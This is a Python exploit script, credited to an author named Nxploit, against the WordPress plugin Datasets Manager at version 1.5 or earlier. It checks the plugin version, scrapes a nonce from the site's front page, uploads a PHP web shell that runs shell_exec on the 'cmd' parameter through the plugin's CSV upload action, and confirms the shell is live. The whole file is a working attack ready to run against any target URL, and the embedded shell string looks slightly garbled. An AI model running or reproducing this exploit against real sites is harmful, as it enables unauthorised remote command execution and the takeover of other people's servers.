#!/usr/bin/env python3 import requests import re import os import argparse # By Nxploit | Khaled Alenazi, session = requests.Session() requests.packages.urllib3.disable_warnings() SHELL_FILENAME = "nxploit.php" def generate_shell(filename): shell_code = '" . shell_exec($_GET["cmd"]) . ""; ?>' with open(filename, "w") as f: f.write(shell_code) print(f"[+] Shell created: {filename}") def extract_nonce(target_url): print("[*] Fetching frontend page:", target_url) r = session.get(target_url, verify=False) if r.status_code != 200: print("[-] Failed to load the target page.") return None print("[*] Searching for nonce...") match = re.search(r'brain_rna_objects\s*=\s*{.*?"nonce":"(.*?)"', r.text, re.DOTALL) if match: nonce = match.group(1) print(f"[+] Nonce extracted: {nonce}") return nonce else: print("[-] Nonce not found in the page.") return None def upload_shell(base_url, nonce, filename): ajax_url = base_url + "/wp-admin/admin-ajax.php" print("[*] Uploading shell to:", ajax_url) with open(filename, "rb") as f: files = {"dataset_upload_file": (filename, f, "application/octet-stream")} data = { "action": "brain_rna_dna", "method": "upload_relational_csv_file", "_wpnonce": nonce } r = session.post(ajax_url, files=files, data=data, verify=False) if r.status_code == 200 and '"success":true' in r.text: print("[+] File uploaded successfully!") print("Server response:", r.text) shell_url = base_url + f"/wp-content/uploads/2025/03/{filename}" check_shell_existence(shell_url) else: print("[-] Upload failed.") print("Status:", r.status_code) print("Response:", r.text) def check_shell_existence(shell_url): r = session.get(shell_url, verify=False) if r.status_code == 200: print(f"[!] Shell available at:\n {shell_url}") print("[+] Shell uploaded successfully!") else: print("[-] Shell upload failed.") print("Status:", r.status_code) print("Response:", r.text) def check_version(target_url): readme_url = target_url + "/wp-content/plugins/datasets-manager-by-arttia-creative/readme.txt" print("[*] Checking plugin version from:", readme_url) r = session.get(readme_url, verify=False) if r.status_code != 200: print("[-] Could not retrieve readme.txt file.") return False match = re.search(r"^Stable tag:\s*(\d+\.\d+)", r.text, re.MULTILINE) if match: version = match.group(1) print(f"[+] Plugin version: {version}") if float(version) <= 1.5: print("[!] The plugin version is vulnerable (<= 1.5).") return True else: print("[!] The plugin version is not vulnerable (> 1.5).") return False else: print("[-] Could not determine the plugin version.") return False def main(): parser = argparse.ArgumentParser(description="Exploit for WordPress Datasets Manager <= 1.5 - Arbitrary File Upload | By: Nxploit | Khaled Alenazi") parser.add_argument("-u", "--url", required=True, help="Full target URL (e.g. http://target.com/wordpress)") args = parser.parse_args() target_url = args.url.rstrip("/") base_url = target_url if not check_version(target_url): return if not os.path.exists(SHELL_FILENAME): generate_shell(SHELL_FILENAME) nonce = extract_nonce(target_url) if not nonce: return upload_shell(base_url, nonce, SHELL_FILENAME) if __name__ == "__main__": main()